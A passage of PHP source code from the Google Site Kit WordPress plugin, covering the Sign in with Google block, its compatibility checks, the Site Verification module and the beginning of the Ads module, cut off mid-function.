https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Sign_In_With_Google; use Google\Site_Kit\Context; use Google\Site_Kit\Core\Util\Block_Support; /** * Sign in with Google Gutenberg Block. * * @since 1.147.0 */ class Sign_In_With_Google_Block { /** * Context instance. * * @since 1.147.0 * @var Context */ protected $context; /** * Constructor. * * @since 1.147.0 * * @param Context $context Plugin context. */ public function __construct( Context $context ) { $this->context = $context; } /** * Checks whether the block can be registered. * * @since 1.147.0 * * @return bool */ public static function can_register() { return Block_Support::has_block_support(); } /** * Register this block. * * @since 1.147.0 */ public function register() { if ( ! self::can_register() ) { return; } add_action( 'init', function () { $base_path = dirname( GOOGLESITEKIT_PLUGIN_MAIN_FILE ) . '/dist/assets/blocks/sign-in-with-google'; $block_json = $base_path . '/block.json'; if ( Block_Support::has_block_api_version_3_support() ) { $v3_block_json = $base_path . '/v3/block.json'; if ( file_exists( $v3_block_json ) ) { $block_json = $v3_block_json; } } register_block_type( $block_json, array( 'render_callback' => array( $this, 'render_callback' ), ) ); }, 99 ); } /** * Render callback for the Sign in with Google block. * * @since 1.147.0 * @since 1.165.0 Added the `$attributes` parameter. * * @param array $attributes Block attributes. * @return string Rendered block. */ public function render_callback( $attributes = array() ) { // If the user is already signed in, do not render a Sign in // with Google button. if ( is_user_logged_in() ) { return ''; } $attributes = is_array( $attributes ) ? $attributes : array(); $button_args = array(); $allowed_attributes = array( 'text' => wp_list_pluck( Settings::TEXTS, 'value' ), 'theme' => wp_list_pluck( Settings::THEMES, 'value' ), 'shape' => wp_list_pluck( Settings::SHAPES, 'value' ), ); foreach ( array( 'text', 'theme', 'shape' ) as $key ) { if ( ! empty( $attributes[ $key ] ) && in_array( $attributes[ $key ], $allowed_attributes[ $key ], true ) ) { $button_args[ $key ] = $attributes[ $key ]; } } if ( ! empty( $attributes['buttonClassName'] ) && is_string( $attributes['buttonClassName'] ) ) { $classes = array_filter( preg_split( '/\s+/', trim( $attributes['buttonClassName'] ) ) ); if ( ! empty( $classes ) ) { $button_args['class'] = $classes; } } ob_start(); /** * Display the Sign in with Google button. * * @since 1.164.0 * * @param array $args Optional arguments to customize button attributes. */ do_action( 'googlesitekit_render_sign_in_with_google_button', $button_args ); return ob_get_clean(); } } <?php /** * Class Google\Site_Kit\Modules\Sign_In_With_Google\Tag_Guard * * @package Google\Site_Kit\Modules\Sign_In_With_Google * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Sign_In_With_Google; use Google\Site_Kit\Core\Modules\Module_Settings; use Google\Site_Kit\Core\Modules\Tags\Module_Tag_Guard; /** * Class for the Sign in with Google tag guard. * * @since 1.159.0 * @access private * @ignore */ class Tag_Guard extends Module_Tag_Guard { /** * Determines whether the guarded tag can be activated or not. * * @since 1.159.0 * * @return bool|WP_Error TRUE if guarded tag can be activated, otherwise FALSE or an error. */ public function can_activate() { $settings = $this->settings->get(); // If there's no client ID available, don't render the button. if ( ! $settings['clientID'] ) { return false; } // If the site does not use https, don't render the button. if ( substr( wp_login_url(), 0, 5 ) !== 'https' ) { return false; } return true; } } <?php /** * Class Google\Site_Kit\Modules\Sign_In_With_Google\Compatibility_Checks\Conflicting_Plugins_Check * * @package Google\Site_Kit\Modules\Sign_In_With_Google * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Sign_In_With_Google\Compatibility_Checks; /** * Compatibility check for conflicting plugins. * * @since 1.164.0 */ class Conflicting_Plugins_Check extends Compatibility_Check { /** * Gets the unique slug for this compatibility check. * * @since 1.164.0 * * @return string The unique slug for this compatibility check. */ public function get_slug() { return 'conflicting_plugins'; } /** * Runs the compatibility check. * * @since 1.164.0 * * @return array|false Array of conflicting plugins data if found, false otherwise. */ public function run() { $conflicting_plugins = array(); $active_plugins = get_option( 'active_plugins', array() ); $security_plugins = array( 'better-wp-security/better-wp-security.php', 'security-malware-firewall/security-malware-firewall.php', 'sg-security/sg-security.php', 'hide-my-wp/index.php', 'hide-wp-login/hide-wp-login.php', 'all-in-one-wp-security-and-firewall/wp-security.php', 'sucuri-scanner/sucuri.php', 'wordfence/wordfence.php', 'wps-hide-login/wps-hide-login.php', ); foreach ( $active_plugins as $plugin_slug ) { // If the plugin isn't in our array of known plugins with issues, // try the next plugin slug in the list of active plugins // (eg. "exit early"). if ( ! in_array( $plugin_slug, $security_plugins, true ) ) { continue; } $plugin_data = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin_slug ); $plugin_name = $plugin_data['Name']; $conflicting_plugins[ $plugin_slug ] = array( 'pluginName' => $plugin_name, 'conflictMessage' => sprintf( /* translators: %s: plugin name */ __( '%s may prevent Sign in with Google from working properly.', 'google-site-kit' ), $plugin_name ), ); } return ! empty( $conflicting_plugins ) ? $conflicting_plugins : false; } } <?php /** * Class Google\Site_Kit\Modules\Sign_In_With_Google\Compatibility_Checks\WP_COM_Check * * @package Google\Site_Kit\Modules\Sign_In_With_Google * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Sign_In_With_Google\Compatibility_Checks; /** * Compatibility check for WordPress.com hosting. * * @since 1.164.0 */ class WP_COM_Check extends Compatibility_Check { /** * Gets the unique slug for this compatibility check. * * @since 1.164.0 * * @return string The unique slug for this compatibility check. */ public function get_slug() { return 'host_wordpress_dot_com'; } /** * Runs the compatibility check. * * @since 1.164.0 * * @return bool True if hosted on WordPress.com, false otherwise. */ public function run() { return defined( 'WPCOMSH_VERSION' ); } } <?php /** * Class Google\Site_Kit\Modules\Sign_In_With_Google\Compatibility_Checks\Compatibility_Check * * @package Google\Site_Kit\Modules\Sign_In_With_Google * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Sign_In_With_Google\Compatibility_Checks; /** * Abstract base class for compatibility checks. * * @since 1.164.0 */ abstract class Compatibility_Check { /** * Gets the unique slug for this compatibility check. * * @since 1.164.0 * * @return string The unique slug for this compatibility check. */ abstract public function get_slug(); /** * Runs the compatibility check. * * @since 1.164.0 * * @return array The result of the compatibility check. */ abstract public function run(); } <?php /** * Class Google\Site_Kit\Modules\Sign_In_With_Google\Compatibility_Checks\WP_Login_Accessible_Check * * @package Google\Site_Kit\Modules\Sign_In_With_Google * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Sign_In_With_Google\Compatibility_Checks; /** * Compatibility check for WordPress login accessibility. * * @since 1.164.0 */ class WP_Login_Accessible_Check extends Compatibility_Check { /** * Gets the unique slug for this compatibility check. * * @since 1.164.0 * * @return string The unique slug for this compatibility check. */ public function get_slug() { return 'wp_login_inaccessible'; } /** * Runs the compatibility check. * * @since 1.164.0 * * @return bool True if login is inaccessible (404), false otherwise. */ public function run() { // Hardcode the wp-login at the end to avoid issues with filters - plugins modifying the wp-login page // also override the URL request which skips the correct detection. $login_url = site_url() . '/wp-login.php'; $response = wp_remote_head( $login_url ); if ( is_wp_error( $response ) ) { return false; } $status_code = wp_remote_retrieve_response_code( $response ); return 404 === $status_code; } } <?php /** * Class Google\Site_Kit\Modules\Sign_In_With_Google\Compatibility_Checks\Compatibility_Checks * * @package Google\Site_Kit\Modules\Sign_In_With_Google * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Sign_In_With_Google\Compatibility_Checks; /** * Manager class for compatibility checks. * * @since 1.164.0 */ class Compatibility_Checks { /** * Collection of compatibility checks. * * @since 1.164.0 * * @var array */ private $checks = array(); /** * Adds a compatibility check to the collection. * * @since 1.164.0 * * @param Compatibility_Check $check The compatibility check to add. */ public function add_check( Compatibility_Check $check ) { $this->checks[] = $check; } /** * Runs all compatibility checks. * * @since 1.164.0 * * @return array Results of the compatibility checks. */ public function run_checks() { $results = array(); foreach ( $this->checks as $check ) { $result = $check->run(); if ( $result ) { $results[ $check->get_slug() ] = $result; } } return $results; } } <?php /** * Class Google\Site_Kit\Modules\Sign_In_With_Google\Authenticator_Interface * * @package Google\Site_Kit\Modules\Sign_In_With_Google * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Sign_In_With_Google; use Google\Site_Kit\Core\Util\Input; /** * Defines methods that must be implemented by an authenticator class. * * @since 1.141.0 * @access private * @ignore */ interface Authenticator_Interface { /** * Authenticates the user using the provided input data. * * @since 1.141.0 * * @param Input $input Input instance. * @return string Redirect URL. */ public function authenticate_user( Input $input ); } <?php /** * Class Google\Site_Kit\Modules\Site_Verification * * @package Google\Site_Kit * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules; use Google\Site_Kit\Core\Authentication\Clients\Google_Site_Kit_Client; use Google\Site_Kit\Core\Authentication\Verification; use Google\Site_Kit\Core\Authentication\Verification_File; use Google\Site_Kit\Core\Authentication\Verification_Meta; use Google\Site_Kit\Core\Modules\Module; use Google\Site_Kit\Core\Modules\Module_With_Scopes; use Google\Site_Kit\Core\Modules\Module_With_Scopes_Trait; use Google\Site_Kit\Core\REST_API\Exception\Invalid_Datapoint_Exception; use Google\Site_Kit\Core\Permissions\Permissions; use Google\Site_Kit\Core\REST_API\Data_Request; use Google\Site_Kit\Core\Util\Exit_Handler; use Google\Site_Kit\Core\Util\Google_URL_Matcher_Trait; use Google\Site_Kit\Core\Util\Method_Proxy_Trait; use Google\Site_Kit\Core\Util\URL; use Google\Site_Kit_Dependencies\Google\Service\Exception as Google_Service_Exception; use Google\Site_Kit_Dependencies\Google\Service\SiteVerification as Google_Service_SiteVerification; use Google\Site_Kit_Dependencies\Google\Service\SiteVerification\SiteVerificationWebResourceGettokenRequest as Google_Service_SiteVerification_SiteVerificationWebResourceGettokenRequest; use Google\Site_Kit_Dependencies\Google\Service\SiteVerification\SiteVerificationWebResourceGettokenRequestSite as Google_Service_SiteVerification_SiteVerificationWebResourceGettokenRequestSite; use Google\Site_Kit_Dependencies\Google\Service\SiteVerification\SiteVerificationWebResourceResource as Google_Service_SiteVerification_SiteVerificationWebResourceResource; use Google\Site_Kit_Dependencies\Google\Service\SiteVerification\SiteVerificationWebResourceResourceSite as Google_Service_SiteVerification_SiteVerificationWebResourceResourceSite; use Google\Site_Kit_Dependencies\Psr\Http\Message\RequestInterface; use WP_Error; use Exception; /** * Class representing the Site Verification module. * * @since 1.0.0 * @access private * @ignore */ final class Site_Verification extends Module implements Module_With_Scopes { use Method_Proxy_Trait; use Module_With_Scopes_Trait; use Google_URL_Matcher_Trait; /** * Module slug name. */ const MODULE_SLUG = 'site-verification'; /** * Meta site verification type. */ const VERIFICATION_TYPE_META = 'META'; /** * File site verification type. */ const VERIFICATION_TYPE_FILE = 'FILE'; /** * Verification meta tag cache key. */ const TRANSIENT_VERIFICATION_META_TAGS = 'googlesitekit_verification_meta_tags'; /** * Registers functionality through WordPress hooks. * * @since 1.0.0 */ public function register() { $this->register_scopes_hook(); add_action( 'googlesitekit_verify_site_ownership', $this->get_method_proxy( 'handle_verification_token' ), 10, 2 ); $print_site_verification_meta = function () { $this->print_site_verification_meta(); }; add_action( 'wp_head', $print_site_verification_meta ); add_action( 'login_head', $print_site_verification_meta ); add_action( 'googlesitekit_authorize_user', function () { if ( ! $this->authentication->credentials()->using_proxy() ) { return; } $this->user_options->set( Verification::OPTION, 'verified' ); } ); add_action( 'init', function () { $request_uri = $this->context->input()->filter( INPUT_SERVER, 'REQUEST_URI' ); $request_method = $this->context->input()->filter( INPUT_SERVER, 'REQUEST_METHOD' ); if ( ( $request_uri && $request_method ) && 'GET' === strtoupper( $request_method ) && preg_match( '/^\/google(?P<token>[a-z0-9]+)\.html$/', $request_uri, $matches ) ) { $this->serve_verification_file( $matches['token'] ); } } ); $clear_verification_meta_cache = function ( $meta_id, $object_id, $meta_key ) { if ( $this->user_options->get_meta_key( Verification_Meta::OPTION ) === $meta_key ) { $this->transients->delete( self::TRANSIENT_VERIFICATION_META_TAGS ); } }; add_action( 'added_user_meta', $clear_verification_meta_cache, 10, 3 ); add_action( 'updated_user_meta', $clear_verification_meta_cache, 10, 3 ); add_action( 'deleted_user_meta', $clear_verification_meta_cache, 10, 3 ); } /** * Gets required Google OAuth scopes for the module. * * @since 1.0.0 * * @return array List of Google OAuth scopes. */ public function get_scopes() { return array( 'https://www.googleapis.com/auth/siteverification', ); } /** * Gets map of datapoint to definition data for each. * * @since 1.12.0 * * @return array Map of datapoints to their definitions. */ protected function get_datapoint_definitions() { return array( 'GET:verification' => array( 'service' => 'siteverification' ), 'POST:verification' => array( 'service' => 'siteverification' ), 'GET:verification-token' => array( 'service' => 'siteverification' ), 'GET:verified-sites' => array( 'service' => 'siteverification' ), ); } /** * Creates a request object for the given datapoint. * * @since 1.0.0 * * @param Data_Request $data Data request object. * @return RequestInterface|callable|WP_Error Request object or callable on success, or WP_Error on failure. * * @throws Invalid_Datapoint_Exception Thrown if the datapoint does not exist. */ protected function create_data_request( Data_Request $data ) { switch ( "{$data->method}:{$data->datapoint}" ) { case 'GET:verification': return $this->get_siteverification_service()->webResource->listWebResource(); case 'POST:verification': if ( ! isset( $data['siteURL'] ) ) { /* translators: %s: Missing parameter name */ return new WP_Error( 'missing_required_param', sprintf( __( 'Request parameter is empty: %s.', 'google-site-kit' ), 'siteURL' ), array( 'status' => 400 ) ); } return function () use ( $data ) { $current_user = wp_get_current_user(); if ( ! $current_user || ! $current_user->exists() ) { return new WP_Error( 'unknown_user', __( 'Unknown user.', 'google-site-kit' ) ); } $site = $this->get_data( 'verification', $data ); if ( is_wp_error( $site ) ) { return $site; } $sites = array(); if ( ! empty( $site['verified'] ) ) { $this->authentication->verification()->set( true ); return $site; } else { $token = $this->get_data( 'verification-token', $data ); if ( is_wp_error( $token ) ) { return $token; } $this->authentication->verification_meta()->set( $token['token'] ); $restore_defer = $this->with_client_defer( false ); $errors = new WP_Error(); foreach ( URL::permute_site_url( $data['siteURL'] ) as $url ) { $site = new Google_Service_SiteVerification_SiteVerificationWebResourceResourceSite(); $site->setType( 'SITE' ); $site->setIdentifier( $url ); $resource = new Google_Service_SiteVerification_SiteVerificationWebResourceResource(); $resource->setSite( $site ); try { $sites[] = $this->get_siteverification_service()->webResource->insert( 'META', $resource ); } catch ( Google_Service_Exception $e ) { $messages = wp_list_pluck( $e->getErrors(), 'message' ); $message = array_shift( $messages ); $errors->add( $e->getCode(), $message, array( 'url' => $url ) ); } catch ( Exception $e ) { $errors->add( $e->getCode(), $e->getMessage(), array( 'url' => $url ) ); } } $restore_defer(); if ( empty( $sites ) ) { return $errors; } } $this->authentication->verification()->set( true ); try { $verification = $this->get_siteverification_service()->webResource->get( $data['siteURL'] ); } catch ( Google_Service_Exception $e ) { $verification = array_shift( $sites ); } return array( 'identifier' => $verification->getSite()->getIdentifier(), 'type' => $verification->getSite()->getType(), 'verified' => true, ); }; case 'GET:verification-token': $existing_token = $this->authentication->verification_meta()->get(); if ( ! empty( $existing_token ) ) { return function () use ( $existing_token ) { return array( 'method' => 'META', 'token' => $existing_token, ); }; } $current_url = ! empty( $data['siteURL'] ) ? $data['siteURL'] : $this->context->get_reference_site_url(); $site = new Google_Service_SiteVerification_SiteVerificationWebResourceGettokenRequestSite(); $site->setIdentifier( $current_url ); $site->setType( 'SITE' ); $request = new Google_Service_SiteVerification_SiteVerificationWebResourceGettokenRequest(); $request->setSite( $site ); $request->setVerificationMethod( 'META' ); return $this->get_siteverification_service()->webResource->getToken( $request ); case 'GET:verified-sites': return $this->get_siteverification_service()->webResource->listWebResource(); } return parent::create_data_request( $data ); } /** * Parses a response for the given datapoint. * * @since 1.0.0 * * @param Data_Request $data Data request object. * @param mixed $response Request response. * * @return mixed Parsed response data on success, or WP_Error on failure. */ protected function parse_data_response( Data_Request $data, $response ) { switch ( "{$data->method}:{$data->datapoint}" ) { case 'GET:verification': if ( $data['siteURL'] ) { $current_url = $data['siteURL']; } else { $current_url = $this->context->get_reference_site_url(); } $items = $response->getItems(); foreach ( $items as $item ) { $site = $item->getSite(); $match = false; if ( 'INET_DOMAIN' === $site->getType() ) { $match = $this->is_domain_match( $site->getIdentifier(), $current_url ); } elseif ( 'SITE' === $site->getType() ) { $match = $this->is_url_match( $site->getIdentifier(), $current_url ); } if ( $match ) { return array( 'identifier' => $site->getIdentifier(), 'type' => $site->getType(), 'verified' => true, ); } } return array( 'identifier' => $current_url, 'type' => 'SITE', 'verified' => false, ); case 'GET:verification-token': if ( is_array( $response ) ) { return $response; } return array( 'method' => $response->getMethod(), 'token' => $response->getToken(), ); case 'GET:verified-sites': $items = $response->getItems(); $data = array(); foreach ( $items as $item ) { $site = $item->getSite(); $data[ $item->getId() ] = array( 'identifier' => $site->getIdentifier(), 'type' => $site->getType(), ); } return $data; } return parent::parse_data_response( $data, $response ); } /** * Sets up information about the module. * * @since 1.0.0 * * @return array Associative array of module info. */ protected function setup_info() { return array( 'slug' => 'site-verification', 'name' => _x( 'Site Verification', 'Service name', 'google-site-kit' ), 'description' => __( 'Google Site Verification allows you to manage ownership of your site.', 'google-site-kit' ), 'order' => 0, 'homepage' => __( 'https://www.google.com/webmasters/verification/home', 'google-site-kit' ), 'internal' => true, ); } /** * Get the configured siteverification service instance. * * @return Google_Service_SiteVerification The Site Verification API service. */ private function get_siteverification_service() { return $this->get_service( 'siteverification' ); } /** * Sets up the Google services the module should use. * * This method is invoked once by {@see Module::get_service()} to lazily set up the services when one is requested * for the first time. * * @since 1.0.0 * @since 1.2.0 Now requires Google_Site_Kit_Client instance. * * @param Google_Site_Kit_Client $client Google client instance. * @return array Google services as $identifier => $service_instance pairs. Every $service_instance must be an * instance of Google_Service. */ protected function setup_services( Google_Site_Kit_Client $client ) { return array( 'siteverification' => new Google_Service_SiteVerification( $client ), ); } /** * Handles receiving a verification token for a user by the authentication proxy. * * @since 1.1.0 * @since 1.1.2 Runs on `admin_action_googlesitekit_proxy_setup` and no longer redirects directly. * @since 1.48.0 Token and method are now passed as arguments. * @since 1.49.0 No longer uses the `googlesitekit_proxy_setup_url_params` filter to set the `verify` and `verification_method` query params. * * @param string $token Verification token. * @param string $method Verification method type. */ private function handle_verification_token( $token, $method ) { switch ( $method ) { case self::VERIFICATION_TYPE_FILE: $this->authentication->verification_file()->set( $token ); break; case self::VERIFICATION_TYPE_META: $this->authentication->verification_meta()->set( $token ); } } /** * Prints site verification meta in wp_head(). * * @since 1.1.0 */ private function print_site_verification_meta() { // Get verification meta tags for all users. $verification_tags = $this->get_all_verification_tags(); $allowed_html = array( 'meta' => array( 'name' => array(), 'content' => array(), ), ); foreach ( $verification_tags as $verification_tag ) { $verification_tag = html_entity_decode( $verification_tag ); if ( 0 !== strpos( $verification_tag, '<meta ' ) ) { $verification_tag = '<meta name="google-site-verification" content="' . esc_attr( $verification_tag ) . '">'; } echo wp_kses( $verification_tag, $allowed_html ); } } /** * Gets all available verification tags for all users. * * This is a special method needed for printing all meta tags in the frontend. * * @since 1.4.0 * * @return array List of verification meta tags. */ private function get_all_verification_tags() { global $wpdb; $meta_tags = $this->transients->get( self::TRANSIENT_VERIFICATION_META_TAGS ); if ( ! is_array( $meta_tags ) ) { $meta_key = $this->user_options->get_meta_key( Verification_Meta::OPTION ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery $meta_tags = $wpdb->get_col( $wpdb->prepare( "SELECT DISTINCT meta_value FROM {$wpdb->usermeta} WHERE meta_key = %s", $meta_key ) ); $this->transients->set( self::TRANSIENT_VERIFICATION_META_TAGS, $meta_tags ); } return array_filter( $meta_tags ); } /** * Serves the verification file response. * * @param string $verification_token Token portion of verification. * * @since 1.1.0 */ private function serve_verification_file( $verification_token ) { $user_ids = ( new \WP_User_Query( array( // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_key 'meta_key' => $this->user_options->get_meta_key( Verification_File::OPTION ), // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_value 'meta_value' => $verification_token, 'fields' => 'id', 'number' => 1, ) ) )->get_results(); $user_id = array_shift( $user_ids ) ?: 0; if ( $user_id && user_can( $user_id, Permissions::SETUP ) ) { printf( 'google-site-verification: google%s.html', esc_html( $verification_token ) ); ( new Exit_Handler() )->invoke(); } // If the user does not have the necessary permissions then let the request pass through. } /** * Returns TRUE to indicate that this module should be always active. * * @since 1.49.0 * * @return bool Returns `true` indicating that this module should be activated all the time. */ public static function is_force_active() { return true; } } <?php /** * Class Google\Site_Kit\Modules\Ads * * @package Google\Site_Kit * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules; use Google\Site_Kit\Context; use Google\Site_Kit\Core\Assets\Asset; use Google\Site_Kit\Core\Assets\Assets; use Google\Site_Kit\Core\Assets\Script; use Google\Site_Kit\Core\Assets\Script_Data; use Google\Site_Kit\Core\Authentication\Authentication; use Google\Site_Kit\Core\Modules\Module; use Google\Site_Kit\Core\Modules\Module_Settings; use Google\Site_Kit\Core\Modules\Module_With_Assets; use Google\Site_Kit\Core\Modules\Module_With_Assets_Trait; use Google\Site_Kit\Core\Modules\Module_With_Debug_Fields; use Google\Site_Kit\Core\Modules\Module_With_Deactivation; use Google\Site_Kit\Core\Modules\Module_With_Persistent_Registration; use Google\Site_Kit\Core\Modules\Module_With_Scopes; use Google\Site_Kit\Core\Modules\Module_With_Scopes_Trait; use Google\Site_Kit\Core\Modules\Module_With_Settings; use Google\Site_Kit\Core\Modules\Module_With_Settings_Trait; use Google\Site_Kit\Core\Modules\Module_With_Tag; use Google\Site_Kit\Core\Modules\Module_With_Tag_Trait; use Google\Site_Kit\Core\Modules\Tags\Module_Tag_Matchers; use Google\Site_Kit\Core\Permissions\Permissions; use Google\Site_Kit\Core\Site_Health\Debug_Data; use Google\Site_Kit\Core\Storage\Options; use Google\Site_Kit\Core\Storage\User_Options; use Google\Site_Kit\Core\Util\Plugin_Status; use Google\Site_Kit\Modules\Ads\PAX_Config; use Google\Site_Kit\Modules\Ads\Settings; use Google\Site_Kit\Modules\Ads\Has_Tag_Guard; use Google\Site_Kit\Modules\Ads\Tag_Matchers; use Google\Site_Kit\Modules\Ads\Web_Tag; use Google\Site_Kit\Core\Tags\Guards\Tag_Environment_Type_Guard; use Google\Site_Kit\Core\Tags\Guards\Tag_Verify_Guard; use Google\Site_Kit\Core\Util\Feature_Flags; use Google\Site_Kit\Core\Util\Method_Proxy_Trait; use Google\Site_Kit\Core\Util\URL; use Google\Site_Kit\Modules\Ads\AMP_Tag; use Google\Site_Kit\Core\Conversion_Tracking\Conversion_Tracking; use Google\Site_Kit\Core\Modules\Module_With_Inline_Data; use Google\Site_Kit\Core\Modules\Module_With_Inline_Data_Trait; use Google\Site_Kit\Core\Tracking\Feature_Metrics_Trait; use Google\Site_Kit\Core\Tracking\Provides_Feature_Metrics; /** * Class representing the Ads module. * * @since 1.121.0 * @access private * @ignore */ final class Ads extends Module implements Module_With_Inline_Data, Module_With_Assets, Module_With_Debug_Fields, Module_With_Scopes, Module_With_Settings, Module_With_Tag, Module_With_Deactivation, Module_With_Persistent_Registration, Provides_Feature_Metrics { use Module_With_Assets_Trait; use Module_With_Scopes_Trait; use Module_With_Settings_Trait; use Module_With_Tag_Trait; use Method_Proxy_Trait; use Module_With_Inline_Data_Trait; use Feature_Metrics_Trait; /** * Module slug name. */ const MODULE_SLUG = 'ads'; const SCOPE = 'https://www.googleapis.com/auth/adwords'; const SUPPORT_CONTENT_SCOPE = 'https://www.googleapis.com/auth/supportcontent'; /** * Conversion_Tracking instance. * * @since 1.147.0 * @var Conversion_Tracking */ protected $conversion_tracking; /** * Class constructor. * * @since 1.147.0 * * @param Context $context Context object. * @param Options|null $options Options object. * @param User_Options|null $user_options User options object. * @param Authentication|null $authentication Authentication object. * @param Assets|null $assets Assets object. */ public function __construct( Context $context, ?Options $options = null, ?User_Options $user_options = null, ?Authentication $authentication = null, ?Assets $assets = null ) { parent::__construct( $context, $options, $user_options, $authentication, $assets ); $this->conversion_tracking = new Conversion_Tracking( $context ); } /** * Registers functionality through WordPress hooks. * * @since 1.121.0 */ public function register() { $this->register_scopes_hook(); $this->register_inline_data(); $this->register_feature_metrics(); // Ads tag placement logic. add_action( 'template_redirect', array( $this, 'register_tag' ) ); add_filter( 'googlesitekit_ads_measurement_connection_checks', function ( $checks ) { $checks[] = array( $this, 'check_ads_measurement_connection' ); return $checks; }, 10 ); } /** * Registers functionality independent of module activation. * * @since 1.148.0 */ public function register_persistent() { add_filter( 'googlesitekit_inline_modules_data', fn ( $data ) => $this->persistent_inline_modules_data( $data ) ); } /** * Checks if the Ads module is connected and contributing to Ads measurement. * * @since 1.151.0 * * @return bool True if the Ads module is connected, false otherwise. */ public function check_ads_measurement_connection() { return $this->is_connected(); } /** * Sets up the module's assets to register. * * @since 1.122.0 * @since 1.126.0 Added PAX assets. * * @return Asset[] List of Asset objects. */ protected function setup_assets() { $base_url = $this->context->url( 'dist/assets/' ); $assets = array( new Script( 'googlesitekit-modules-ads', array( 'src' => $base_url . 'js/googlesitekit-modules-ads.js', 'dependencies' => array( 'googlesitekit-vendor', 'googlesitekit-api', 'googlesitekit-data', 'googlesitekit-modules', 'googlesitekit-notifications', 'googlesitekit-datastore-site', 'googlesitekit-datastore-user', 'googlesitekit-components', ), ) ), ); if ( Feature_Flags::enabled( 'adsPax' ) ) { $input = $this->context->input(); $is_googlesitekit_dashboard = 'googlesitekit-dashboard' === $input->filter( INPUT_GET, 'page' ); $is_ads_slug = 'ads' === $input->filter( INPUT_GET, 'slug' ); $is_re_auth = $input->filter( INPUT_GET, 'reAuth' ); $assets[] = new Script_Data( 'googlesitekit-ads-pax-config', array( 'global' => '_googlesitekitPAXConfig', 'data_callback' => function () { if ( ! current_user_can( Permissions::VIEW_AUTHENTICATED_DASHBOARD ) ) { return array(); } $config = new PAX_Config( $this->context, $this->authentication->token() ); return $config->get(); }, ) ); // Integrator should be included if either Ads module is connected already, // or we are on the Ads module setup screen. if ( current_user_can( Permissions::VIEW_AUTHENTICATED_DASHBOARD ) && ( // Integrator should be included if either: // The Ads module is already connected. $this->is_connected() || // Or the user is on the Ads module setup screen. ( ( ( is_admin() && $is_googlesitekit_dashboard ) && $is_ads_slug ) && $is_re_auth ) ) ) { $assets[] = new Script( 'googlesitekit-ads-pax-integrator', array( // When updating, mirror the fixed version for google-pax-sdk in package.json. 'src' => 'https://www.gstatic.com/pax/1.1.10/pax_integrator.js', 'execution' => 'async', 'dependencies' => array( 'googlesitekit-ads-pax-config', 'googlesitekit-modules-data', ), 'version' => null, ) ); } } return $assets; } /** * Populates module data needed independent of Ads module activation. * * @since 1.148.0 * * @param array $modules_data Inline modules data. * @return array Inline modules data. */ protected function persistent_inline_modules_data( $modules_data ) { if ( ! Feature_Flags::enabled( 'adsPax' ) ) { return $modules_data; } if ( empty( $modules_data['ads'] ) ) { $modules_data['ads'] = array(); } $active_wc = class_exists( 'WooCommerce' ); $active_gla = defined( 'WC_GLA_VERSION' ); $gla_ads_conversion_action = get_option( 'gla_ads_conversion_action' ); $modules_data['ads']['plugins'] = array( 'woocommerce' => array( 'active' => $active_wc, 'installed' => $active_wc || Plugin_Status::is_plugin_installed( 'woocommerce/woocommerce.php' ), ), 'google-listings-and-ads' => array( 'active' => $active_gla, 'installed' => $active_gla || Plugin_Status::is_plugin_installed( 'google-listings-and-ads/google-listings-and-ads.php' ), 'adsConnected' => $active_gla && get_option( 'gla_ads_id' ), 'conversionID' => is_array( $gla_ads_conversion_action ) ? $gla_ads_conversion_action['conversion_id'] : '', ), ); return $modules_data; } /** * Gets required Google OAuth scopes for the module. * * @since 1.126.0 * * @return array List of Google OAuth scopes. */ public function get_scopes() { if ( Feature_Flags::enabled( 'adsPax' ) ) { $granted_scopes = $this->authentication->get_oauth_client()->get_granted_scopes(); $options = $this->get_settings()->get(); if ( in_array( self::SCOPE, $granted_scopes, true ) || ! empty( $options['extCustomerID'] ) ) { return array( self::SCOPE, self::SUPPORT_CONTENT_SCOPE ); } } return array(); } /** * Sets up information about the module. * * @since 1.121.0 * * @return array Associative array of module info. */ protected function setup_info() { return array( 'slug' => 'ads', 'name' => _x( 'Ads', 'Service name', 'google-site-kit' ), 'description' => Feature_Flags::enabled( 'adsPax' ) ? __( 'Grow sales, leads or awareness for your business by advertising with Google Ads', 'google-site-kit' ) : __( 'Track conversions for your existing Google Ads campaigns', 'google-site-kit' ), 'homepage' => __( 'https://google.com/ads', 'google-site-kit' ), ); } /** * Sets up the module's settings instance. * * @since 1.122.0 * * @return Module_Settings */ protected function setup_settings() { return new Settings( $this->options ); } /** * Checks whether the module is connected. * * A module being connected means that all steps required as part of its activation are completed. * * @since 1.122.0 * @since 1.127.0 Add additional check to account for paxConversionID and extCustomerID as well when feature flag is enabled. * * @return bool True if module is connected, false otherwise. */ public function is_connected() { $options = $this->get_settings()->get(); if ( Feature_Flags::enabled( 'adsPax' ) ) { if ( empty( $options['conversionID'] ) && empty( $options['paxConversionID'] ) && empty( $options['extCustomerID'] ) ) { return false; } return 